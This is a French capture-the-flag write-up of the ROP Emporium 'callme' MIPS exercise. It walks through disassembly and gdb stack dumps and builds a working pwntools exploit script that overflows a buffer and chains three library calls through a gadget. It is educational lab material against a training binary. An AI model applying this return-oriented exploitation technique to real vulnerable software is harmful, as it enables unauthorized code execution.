Contents

Ropemporium mipsel callme

callme mipsel

Introduction.

Dans ce troisième exercice on doit appeller trois fonctions dans l’ordre attendu avec trois paramètres attendus.

callme

Découverte

Contenu du challenge

-rwxr-xr-x 1 jce jce  8300  8 juil.  2020 callme_mipsel
-rw-r--r-- 1 jce jce    32  5 juil.  2020 encrypted_flag.dat
-rw-r--r-- 1 jce jce    16  3 juil.  2020 key1.dat
-rw-r--r-- 1 jce jce    16  3 juil.  2020 key2.dat
-rwxr-xr-x 1 jce jce 11600  8 juil.  2020 libcallme_mipsel.so

Execution avec qemu

jce@zbook310152:~/w/ropemporium/mipsel/03_callme$ qemu-mipsel callme_mipsel
callme by ROP Emporium
MIPS

Hope you read the instructions...

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Erreur de segmentation

Analyse

Le programme principal

La fonction main

┌ 196: int main (int argc, char **envp, int32_t envp);
│           ; arg int32_t envp @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int argc @ a0
│           ; arg char **envp @ a2
│           0x00400980      e0ffbd27       addiu sp, sp, -0x20
│           0x00400984      1c00bfaf       sw ra, (var_1ch)
│           0x00400988      1800beaf       sw fp, (var_18h)
│           0x0040098c      25f0a003       move fp, sp
│           0x00400990      42001c3c       lui gp, 0x42                ; 'B'
│           0x00400994      10909c27       addiu gp, gp, -0x6ff0
│           0x00400998      1000bcaf       sw gp, (var_10h)
│           0x0040099c      4480828f       lw v0, -0x7fbc(gp)          ; [0x411054:4]=0
│           0x004009a0      0000428c       lw v0, (v0)
│           0x004009a4      25380000       move a3, zero               ; int32_t arg_18h
│           0x004009a8      02000624       addiu a2, zero, 2           ; int32_t arg_10h
│           0x004009ac      25280000       move a1, zero               ; int32_t arg3
│           0x004009b0      25204000       move a0, v0
│           0x004009b4      4c80828f       lw v0, -sym.imp.setvbuf(gp) ; [0x41105c:4]=0x400d60 sym.imp.setvbuf
│           0x004009b8      25c84000       move t9, v0
│           0x004009bc      09f82003       jalr t9
│           0x004009c0      00000000       nop
│           0x004009c4      1000dc8f       lw gp, (var_10h)
│           0x004009c8      4000023c       lui v0, 0x40                ; '@'
│           0x004009cc      000e4424       addiu a0, v0, 0xe00         ; 0x400e00 ; "callme by ROP Emporium"
│           0x004009d0      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41106c:4]=0x400d30 sym.imp.puts
│           0x004009d4      25c84000       move t9, v0
│           0x004009d8      09f82003       jalr t9
│           0x004009dc      00000000       nop
│           0x004009e0      1000dc8f       lw gp, (var_10h)
│           0x004009e4      4000023c       lui v0, 0x40                ; '@'
│           0x004009e8      180e4424       addiu a0, v0, 0xe18         ; 0x400e18 ; "MIPS\n"
│           0x004009ec      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41106c:4]=0x400d30 sym.imp.puts
│           0x004009f0      25c84000       move t9, v0
│           0x004009f4      09f82003       jalr t9
│           0x004009f8      00000000       nop
│           0x004009fc      1000dc8f       lw gp, (var_10h)
│           0x00400a00      9102100c       jal sym.pwnme
│           0x00400a04      00000000       nop
│           0x00400a08      1000dc8f       lw gp, (var_10h)
│           0x00400a0c      4000023c       lui v0, 0x40                ; '@'
│           0x00400a10      200e4424       addiu a0, v0, 0xe20         ; 0x400e20 ; "\nExiting"
│           0x00400a14      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41106c:4]=0x400d30 sym.imp.puts
│           0x00400a18      25c84000       move t9, v0
│           0x00400a1c      09f82003       jalr t9
│           0x00400a20      00000000       nop
│           0x00400a24      1000dc8f       lw gp, (var_10h)
│           0x00400a28      25100000       move v0, zero
│           0x00400a2c      25e8c003       move sp, fp
│           0x00400a30      1c00bf8f       lw ra, (var_1ch)
│           0x00400a34      1800be8f       lw fp, (var_18h)
│           0x00400a38      2000bd27       addiu sp, sp, 0x20
│           0x00400a3c      0800e003       jr ra

La fonction vulnérable :

┌ 212: sym.pwnme (int32_t arg1, char **arg3, int32_t arg_10h, int32_t arg_18h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; arg int32_t arg_18h @ fp+0x18
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_38h @ sp+0x38
│           ; var int32_t var_3ch @ sp+0x3c
│           ; arg int32_t arg1 @ a0
│           ; arg char **arg3 @ a2
│           0x00400a44      c0ffbd27       addiu sp, sp, -0x40
│           0x00400a48      3c00bfaf       sw ra, (var_3ch)
│           0x00400a4c      3800beaf       sw fp, (var_38h)
│           0x00400a50      25f0a003       move fp, sp
│           0x00400a54      42001c3c       lui gp, 0x42                ; 'B'
│           0x00400a58      10909c27       addiu gp, gp, -0x6ff0
│           0x00400a5c      1000bcaf       sw gp, (var_10h)
│           0x00400a60      20000624       addiu a2, zero, 0x20        ; arg3
│           0x00400a64      25280000       move a1, zero
│           0x00400a68      1800c227       addiu v0, fp, 0x18
│           0x00400a6c      25204000       move a0, v0
│           0x00400a70      4880828f       lw v0, -sym.imp.memset(gp)  ; [0x411058:4]=0x400d70 sym.imp.memset
│           0x00400a74      25c84000       move t9, v0
│           0x00400a78      09f82003       jalr t9
│           0x00400a7c      00000000       nop
│           0x00400a80      1000dc8f       lw gp, (var_10h)
│           0x00400a84      4000023c       lui v0, 0x40                ; '@'
│           0x00400a88      2c0e4424       addiu a0, v0, 0xe2c         ; 0x400e2c ; "Hope you read the instructions...\n"
│           0x00400a8c      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41106c:4]=0x400d30 sym.imp.puts
│           0x00400a90      25c84000       move t9, v0
│           0x00400a94      09f82003       jalr t9
│           0x00400a98      00000000       nop
│           0x00400a9c      1000dc8f       lw gp, (var_10h)
│           0x00400aa0      4000023c       lui v0, 0x40                ; '@'
│           0x00400aa4      500e4424       addiu a0, v0, 0xe50         ; arg1 ; esilref: '> '
│           0x00400aa8      6880828f       lw v0, -sym.imp.printf(gp)  ; [0x411078:4]=0x400d00 sym.imp.printf
│           0x00400aac      25c84000       move t9, v0
│           0x00400ab0      09f82003       jalr t9
│           0x00400ab4      00000000       nop
│           0x00400ab8      1000dc8f       lw gp, (var_10h)
│           0x00400abc      00020624       addiu a2, zero, 0x200       ; arg3
│           0x00400ac0      1800c227       addiu v0, fp, 0x18
│           0x00400ac4      25284000       move a1, v0
│           0x00400ac8      25200000       move a0, zero
│           0x00400acc      7080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x411080:4]=0x400cf0 sym.imp.read
│           0x00400ad0      25c84000       move t9, v0
│           0x00400ad4      09f82003       jalr t9
│           0x00400ad8      00000000       nop
│           0x00400adc      1000dc8f       lw gp, (var_10h)
│           0x00400ae0      4000023c       lui v0, 0x40                ; '@'
│           0x00400ae4      540e4424       addiu a0, v0, 0xe54         ; 0x400e54 ; "Thank you!"
│           0x00400ae8      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41106c:4]=0x400d30 sym.imp.puts
│           0x00400aec      25c84000       move t9, v0
│           0x00400af0      09f82003       jalr t9
│           0x00400af4      00000000       nop
│           0x00400af8      1000dc8f       lw gp, (var_10h)
│           0x00400afc      00000000       nop
│           0x00400b00      25e8c003       move sp, fp
│           0x00400b04      3c00bf8f       lw ra, (var_3ch)
│           0x00400b08      3800be8f       lw fp, (var_38h)
│           0x00400b0c      4000bd27       addiu sp, sp, 0x40
│           0x00400b10      0800e003       jr ra
└           0x00400b14      00000000       nop

La lecture du message s’effectue ainsi :

│           0x00400ab8      1000dc8f       lw gp, (var_10h)
│           0x00400abc      00020624       addiu a2, zero, 0x200        ; a2 = 0x200
│           0x00400ac0      1800c227       addiu v0, fp, 0x18           ; v0 = fp+0x18
│           0x00400ac4      25284000       move a1, v0                  ; a1 = v0 = fp+0x18
│           0x00400ac8      25200000       move a0, zero                ; a0 = 0
│           0x00400acc      7080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x411080:4]=0x400cf0 sym.imp.read
│           0x00400ad0      25c84000       move t9, v0
│           0x00400ad4      09f82003       jalr t9                      ; read(0,fp+0x18,0x200)

Dans le prémabule les registres ra et fp on été sauvegardés avec :

│           ; var int32_t var_38h @ sp+0x38
│           ; var int32_t var_3ch @ sp+0x3c
│           0x00400a48      3c00bfaf       sw ra, (var_3ch)
│           0x00400a4c      3800beaf       sw fp, (var_38h)

Et sp=sp │ 0x00400a50 25f0a003 move fp, sp

Donc notre buffer en fp+0x18 se trouve a une distance de 0x20 (32) de la sauvegarde de fp et 36 de celle ra.

La fonction suivante nous aide a construire notre attaque.

[0x004007e0]> pdf @ sym.usefulFunction
┌ 188: sym.usefulFunction (int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg_10h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_4h @ sp+0x4
│           ; var int32_t var_8h @ sp+0x8
│           ; var int32_t var_ch @ sp+0xc
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_14h @ sp+0x14
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg1 @ a0
│           ; arg int32_t arg2 @ a1
│           ; arg int32_t arg3 @ a2
│           0x00400b18      e0ffbd27       addiu sp, sp, -0x20
│           0x00400b1c      1c00bfaf       sw ra, (var_1ch)
│           0x00400b20      1800beaf       sw fp, (var_18h)
│           0x00400b24      25f0a003       move fp, sp
│           0x00400b28      42001c3c       lui gp, 0x42                ; 'B'
│           0x00400b2c      10909c27       addiu gp, gp, -0x6ff0
│           0x00400b30      1000bcaf       sw gp, (var_10h)
│           0x00400b34      06000624       addiu a2, zero, 6           ; arg3
│           0x00400b38      05000524       addiu a1, zero, 5           ; arg2
│           0x00400b3c      04000424       addiu a0, zero, 4           ; arg1
│           0x00400b40      6480828f       lw v0, -sym.imp.callme_three(gp) ; [0x411074:4]=0x400d10 sym.imp.callme_three
│           0x00400b44      25c84000       move t9, v0
│           0x00400b48      09f82003       jalr t9
│           0x00400b4c      00000000       nop
│           0x00400b50      1000dc8f       lw gp, (var_10h)
│           0x00400b54      06000624       addiu a2, zero, 6           ; arg3
│           0x00400b58      05000524       addiu a1, zero, 5           ; arg2
│           0x00400b5c      04000424       addiu a0, zero, 4           ; arg1
│           0x00400b60      4080828f       lw v0, -sym.imp.callme_two(gp) ; [0x411050:4]=0x400d80 sym.imp.callme_two
│           0x00400b64      25c84000       move t9, v0
│           0x00400b68      09f82003       jalr t9
│           0x00400b6c      00000000       nop
│           0x00400b70      1000dc8f       lw gp, (var_10h)
│           0x00400b74      06000624       addiu a2, zero, 6           ; arg3
│           0x00400b78      05000524       addiu a1, zero, 5           ; arg2
│           0x00400b7c      04000424       addiu a0, zero, 4           ; arg1
│           0x00400b80      6080828f       lw v0, -sym.imp.callme_one(gp) ; [0x411070:4]=0x400d20 sym.imp.callme_one
│           0x00400b84      25c84000       move t9, v0
│           0x00400b88      09f82003       jalr t9
│           0x00400b8c      00000000       nop
│           0x00400b90      1000dc8f       lw gp, (var_10h)
│           0x00400b94      01000424       addiu a0, zero, 1           ; arg1
│           0x00400b98      5480828f       lw v0, -sym.imp.exit(gp)    ; [0x411064:4]=0x400d40 sym.imp.exit
│           0x00400b9c      25c84000       move t9, v0
│           0x00400ba0      09f82003       jalr t9


[0x004007e0]> pd 40 @0x400bb0
│           ;-- usefulGadgets:
│           0x00400bb0      1000a48f       lw a0, (var_10h)
│           0x00400bb4      0c00a58f       lw a1, (var_ch)
│           0x00400bb8      0800a68f       lw a2, (var_8h)
│           0x00400bbc      0400b98f       lw t9, (var_4h)
│           0x00400bc0      09f82003       jalr t9
│           0x00400bc4      00000000       nop
│           0x00400bc8      1400bf8f       lw ra, (var_14h)
│           0x00400bcc      0800e003       jr ra
└           0x00400bd0      1800bd23       addi sp, sp, 0x18

Observation du debordement

b *pwnme+172

Juste avant le read :

gef➤  x/20x $sp
0x40800c10:	0x00400e18	0xffffffff	0x00000001	0x00000000
            fp et sp
0x40800c20:	0x00419010	0x3ffd4584	0x00000000	0x00000000
                                    fp+18
0x40800c30:	0x00000000	0x00000000	0x00000000	0x00000000
0x40800c40:	0x00000000	0x00000000	0x40800c50	0x00400a08
                                    save sp     save ra
0x40800c50:	0x40800c9c	0x3ffca0ac	0x00400674	0x3ffbf41c

Apres lecture de : aaaaaaaabbbbbbbbccccccccddddddddAAAABBBB <- 32 > sp ra ─────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ x/20x $sp 0x40800c10: 0x00400e18 0xffffffff 0x00000001 0x00000000 0x40800c20: 0x00419010 0x3ffd4584 0x61616161 0x61616161 0x40800c30: 0x62626262 0x62626262 0x63636363 0x63636363 0x40800c40: 0x64646464 0x64646464 0x41414141 0x42424242 0x40800c50: 0x40800c0a 0x3ffca0ac 0x00400674 0x3ffbf41c

Construction de l’attaque

Recherche de gadgets

On peut rechercher un gadget contenant un chargement de $a0 et de $a1 par exemple

ROPgadget -binary callme_mispel|grep “lw $a0” |grep “\a1”

On trouve le gadget situé dans usefulGadgets.

0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

L’instruction jalr effectue un saut et une affectation du registre d’adresse de retour.

jalr r # $ra <— PC+4 $ra <— return address # PC <— $r load the PC with the address in $r

Usage du gadget :

lw $t9, 4($sp) charge dand t9 le contenu de $sp+4 donc pas la première entrée de la pile mais la suivante. On doit donc prevoir une entrée de junk avant. La dernière instruction effectue l’equivalent d’un call à l’adresse placée dan t9 on doit donc y mettre l’adresse de la fonction.

Ensuite on place les 3 paramètres dans l’ordre inverse puisque il sont lus respectivement dans sp + 16,12,8.

Ca qui nous donne :

ROP entry gadget comment
0x00400bb0  lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop gadget de chargement
callme_xxx Pour $t9
0xd00df00d pour $a2
0xcafebabe pour $a1
0xdeadbeef pour $a0
 

La question qu’on se pose alors est quid de l’enchainement pour continuer le déroulement de la chaine de ROP.

Au moment de jarl $t9 on a “$ra <— PC+4” soit après l’instruction jalr ce qui est logique.

Le gadget complet est donc :

│           0x00400bb0      1000a48f       lw a0, (var_10h)
│           0x00400bb4      0c00a58f       lw a1, (var_ch)
│           0x00400bb8      0800a68f       lw a2, (var_8h)
│           0x00400bbc      0400b98f       lw t9, (var_4h)
│           0x00400bc0      09f82003       jalr t9
│           0x00400bc4      00000000       nop
│           0x00400bc8      1400bf8f       lw ra, (var_14h)
│           0x00400bcc      0800e003       jr ra
└           0x00400bd0      1800bd23       addi sp, sp, 0x18

Le seconde partie est nécessaire à l’enchainement sur la chaine de ROP.

Apres le “call” on reviens sur le nop. Et donc on charge dans ra sp+20 juste après la valeur posée pour a0 c’est a dire là suite de notre chaine.

Mais ce n’est pas sufisant car a cette étape le pointeur de pile n’a pas bougé. Il est nécessaire de l’ajuster avec : └ 0x00400bd0 1800bd23 addi sp, sp, 0x18

On se demande cependant par quel miracle l’instruction addi s’execute puisqu’on saute avec le jr.

En fait c’est que les instructions de type saut semblent executer l’instuction suivante de manière simultannée. D’ou le nop après jarl. L’execution sous gdb de la chaine en fin d’article le montre.

Sans cet ajustement on risque au mieux d boucler sur callme_one.

Ce type d’enchainement n’est pas probable dans une code ordinaire. Les outils comme ropper ou ROPgadget ne le détecte pas. C’est à nous de rechercher.

Un gadget d’appel. Un gadget de lien consécutif de type “lw reg,(sp+xx); je reg”. Un gadget d’ajustement de la pile.

Ce qui nous donne :

ROP entry gadget comment
0x00400bb0  lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; …
callme_one Pour $t9
0xd00df00d pour $a2
0xcafebabe pour $a1
0xdeadbeef pour $a0
0x00400bb0  lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; … gadget de chargement
callme_two Pour $t9
0xd00df00d pour $a2
0xcafebabe pour $a1
0xdeadbeef pour $a0
0x00400bb0  lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; … gadget de chargement
callme_three Pour $t9
0xd00df00d pour $a2
0xcafebabe pour $a1
0xdeadbeef pour $a0

La structuee est régulière et se prète à une boucle de type

Pour chaque call_xxx parmis [call_one, call_two, call_three] . . .

Exploitation

Script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# Set up pwntools for the correct architecture
elf = context.binary = ELF('callme_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

gs='''
b *pwnme+204
c
'''

# Gadgets
# 0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ;
g_pop_t9a2a1a0 = 0x00400bb0

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]

log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")

offset=0x24

PL=b"A"*offset
for adrcall in [callme_one, callme_two, callme_three ]:
    PL+=p32(g_pop_t9a2a1a0)    # Super gadget
    PL+=p32(0)                 # junk
    PL+=p32(adrcall)           # t9
    PL+=p32(0xd00df00d)        # a2
    PL+=p32(0xcafebabe)        # a1
    PL+=p32(0xdeadbeef)        # a0

io.recvuntil(b"> ")

io.sendline(PL)

io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()

Execution

python3 solve.py
[*] '/w/ropemporium/mipsel/03_callme/callme_mipsel'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[+] Starting local process '/w/ropemporium/mipsel/03_callme/callme_mipsel': pid 65
[*] callme_one=400d1c
[*] callme_two=400d7c
[*] callme_three=400d0c
[+] flag : ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/w/ropemporium/mipsel/03_callme/callme_mipsel' (pid 65)

Déroulement sous gdb

Le déroulemen ci desous est celui du script précéddent en l’état donc avec un soucis

python3 solve.py -d

BP en fin de pwnme.

 0x400b04 <pwnme+192>      lw     ra, 60(sp)
 0x400b08 <pwnme+196>      lw     s8, 56(sp)
 0x400b0c <pwnme+200>      addiu  sp, sp, 64

→ 0x400b10 <pwnme+204> jr ra ↳ 0x400bb0 <usefulGadgets+0> lw a0, 16(sp) 0x400bb4 <usefulGadgets+4> lw a1, 12(sp) 0x400bb8 <usefulGadgets+8> lw a2, 8(sp) 0x400bbc <usefulGadgets+12> lw t9, 4(sp) 0x400bc0 <usefulGadgets+16> jalr t9 0x400bc4 <usefulGadgets+20> nop

gef➤  x/12x $sp
0x40800c30:     0x00000000      0x00400d1c      0xd00df00d      0xcafebabe
                junk            callme_one      a2              a1
0x40800c40:     0xdeadbeef      0x00400bb0      0x00000000      0x00400d7c
                a0              gadget          junk            callme_two
0x40800c50:     0xd00df00d      0xcafebabe      0xdeadbeef      0x00400bb0

On avance sur le call

ni 3
 0x400bb4 <usefulGadgets+4> lw     a1, 12(sp)
 0x400bb8 <usefulGadgets+8> lw     a2, 8(sp)
 0x400bbc <usefulGadgets+12> lw     t9, 4(sp)
→0x400bc0 <usefulGadgets+16> jalr   t9
 0x400bc4 <usefulGadgets+20> nop
 0x400bc8 <usefulGadgets+24> lw     ra, 20(sp)
 0x400bcc <usefulGadgets+28> jr     ra
 0x400bd0 <usefulGadgets+32> addi   sp, sp, 24
 0x400bd4 <usefulGadgets+36> nop
gef➤  i r a0 a1 a2 t9
a0: 0xdeadbeef
a1: 0xcafebabe
a2: 0xd00df00d
t9: 0x400d1c

Les registres sons bien chargés. Verifions t9 :

gef➤  x/3i $t9
=>  0x400d1c <callme_three+12>:  li      t8,25
    0x400d20 <callme_one>:       lw      t9,-32752(gp)
    0x400d24 <callme_one+4>:     move    t7,ra

Oups l’adresse de callme_one@plt est erronée cela ressemble à un bug de pwntool ( elf.plt[“callme_one”] ). L’instruction pointée est neutre sur l’execution on continue donc mais on peut corriger les adresses avec un +4.

L’addresse de callme_one n’etant pas resolue, le pas à pas va être laborieux. On pose un point d’arrêt en fin de fonction.

disas callme_one
...
0x3ffa0a14 <+484>:   addiu   sp,sp,40
0x3ffa0a18 <+488>:   jr      ra
0x3ffa0a1c <+492>:   nop

gef➤  b *callme_one+488
Breakpoint 2 at 0x3ffa0a18
continue
 → 0x3ffa0a18 <callme_one+488> jr     ra
    ↳   0x400bc8 <usefulGadgets+24> lw     ra, 20(sp)
        0x400bcc <usefulGadgets+28> jr     ra

A la fin de callme_on ra pointe la prochaine instruction du gadget. A noter que le nop en 0x400bc4 est bien nécessaire . On verra pourquoi plus loin.

continue

    0x400bbc <usefulGadgets+12> lw     t9, 4(sp)
    0x400bc0 <usefulGadgets+16> jalr   t9
    0x400bc4 <usefulGadgets+20> nop
→   0x400bc8 <usefulGadgets+24> lw     ra, 20(sp)
    0x400bcc <usefulGadgets+28> jr     ra
    0x400bd0 <usefulGadgets+32> addi   sp, sp, 24
    0x400bd4 <usefulGadgets+36> nop
    0x400bd8 <usefulGadgets+40> nop
    0x400bdc <usefulGadgets+44> nop

La pile est toujour dans cet état :

gef➤  x/12x $sp
0x40800c30:     0xdeadbeef      0xcafebabe      0xd00df00d      0xcafebabe
0x40800c40:     0xdeadbeef      0x00400bb0      0x00000000      0x00400d7c
                                sp+20
0x40800c50:     0xd00df00d      0xcafebabe      0xdeadbeef      0x00400bb0

ni

    0x400bc0 <usefulGadgets+16> jalr   t9
    0x400bc4 <usefulGadgets+20> nop
    0x400bc8 <usefulGadgets+24> lw     ra, 20(sp)
→  0x400bcc <usefulGadgets+28> jr     ra
    ↳   0x400bb0 <usefulGadgets+0> lw     a0, 16(sp)
        0x400bb4 <usefulGadgets+4> lw     a1, 12(sp)
        0x400bb8 <usefulGadgets+8> lw     a2, 8(sp)
        0x400bbc <usefulGadgets+12> lw     t9, 4(sp)
        0x400bc0 <usefulGadgets+16> jalr   t9
        0x400bc4 <usefulGadgets+20> nop

On est pret a executer de nouveau le gadget, ra pointe dessus. Capendant la pile est toujours la même :

gef➤  i r $sp
sp: 0x40800c30

ni

→   0x400bb0 <usefulGadgets+0> lw     a0, 16(sp)
    0x400bb4 <usefulGadgets+4> lw     a1, 12(sp)
    0x400bb8 <usefulGadgets+8> lw     a2, 8(sp)
    0x400bbc <usefulGadgets+12> lw     t9, 4(sp)
    0x400bc0 <usefulGadgets+16> jalr   t9
    0x400bc4 <usefulGadgets+20> nop

Et la pile est ajustée

gef➤  x/12x $sp
0x40800c48:     0x00000000      0x00400d7c      0xd00df00d      0xcafebabe
0x40800c58:     0xdeadbeef      0x00400bb0      0x00000000      0x00400d0c
0x40800c68:     0xd00df00d      0xcafebabe      0xdeadbeef      0x40800c0a

d’ou vient ce “sp = sp + 0x18” ????

On es là :

=> 0x400bcc <usefulGadgets+28>: jr ra 0x400bd0 <usefulGadgets+32>: addi sp,sp,24 0x400bd4 <usefulGadgets+36>: nop

L’instruction jr $ra n’est pas sensée modifier sp.

Si on suite le saut avec l’instuction gdb “si” :

→   0x400bb0 <usefulGadgets+0> lw     a0, 16(sp)
    0x400bb4 <usefulGadgets+4> lw     a1, 12(sp)
    0x400bb8 <usefulGadgets+8> lw     a2, 8(sp)
    0x400bbc <usefulGadgets+12> lw     t9, 4(sp)
    0x400bc0 <usefulGadgets+16> jalr   t9
    0x400bc4 <usefulGadgets+20> nop

gef➤  i r $sp
sp: 0x40800c48

L’instuction addi sp,sp,24 est en fait executée avec le jump. On peut remarquer que les instructions de saut sont systématiquement suivies d’un nop dans le code. En particulier celui de notre gadget.

Mais avec cet ajustement la chaine peut continuer et callme_one puis callme_two sont appelés.